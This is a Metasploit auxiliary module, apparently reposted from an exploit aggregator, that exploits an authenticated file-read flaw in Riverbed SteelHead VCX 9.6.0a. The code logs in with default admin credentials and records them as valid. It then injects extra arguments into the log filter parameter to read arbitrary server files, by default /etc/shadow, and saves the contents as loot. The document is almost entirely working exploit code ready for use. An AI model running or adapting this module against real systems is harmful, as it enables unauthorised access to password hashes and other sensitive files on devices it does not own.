Share
## https://sploitus.com/exploit?id=PACKETSTORM:181162
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Riverbed SteelHead VCX File Read',
'Description' => %q{
This module exploits an authenticated arbitrary file read in the log module's filter engine.
SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
},
'References' =>
[
['EDB', '42101']
],
'Author' =>
[
'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit
'h00die' # Module
],
'DisclosureDate' => 'Jun 01 2017',
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']),
OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']),
OptString.new('USERNAME', [true, 'Username', 'admin']),
OptString.new('PASSWORD', [true, 'Password', 'password']),
])
end
def run_host(ip)
# pull our csrf
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
'method' => 'GET',
'vars_get' => {
'next' => '/'
}
}, 25)
unless res
print_error("#{full_uri} - Connection timed out")
return
end
cookie = res.get_cookies
csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
vprint_status("CSRF Token: #{csrf}")
# authenticate
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
'csrfmiddlewaretoken' => csrf,
'_fields' => JSON.generate({
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'legalAccepted' => 'N/A',
'userAgent' => ''
})
}
}, 25)
unless res
print_error("#{full_uri} - Connection timed out")
return
end
if res.code == 400
print_error('Failed Authentication')
return
elsif res.code == 200
vprint_good('Authenticated Successfully')
cookie = res.get_cookies
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie)
end
# pull the file
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'filterStr' => "msg:-e .* #{datastore['FILE']}"
}
}, 25)
unless res
print_error("#{full_uri} - Connection timed out")
return
end
if res && res.body
result = res.get_json_document
unless result.has_key?('web3.model')
print_error('Invalid JSON returned')
return
end
reconstructed_file = []
# so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with
# the file name. It also, by default, includes other files, so we need to check we're on the right file.
result['web3.model']['messages']['rows'].each do |row|
if row['msg'].start_with?(datastore['FILE'])
reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip
end
end
if reconstructed_file.any?
reconstructed_file = reconstructed_file.join("\n")
vprint_good("File Contents:\n#{reconstructed_file}")
stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
print_good("Stored #{datastore['FILE']} to #{stored_path}")
else
print_error("File not found or empty file: #{datastore['FILE']}")
end
end
end
end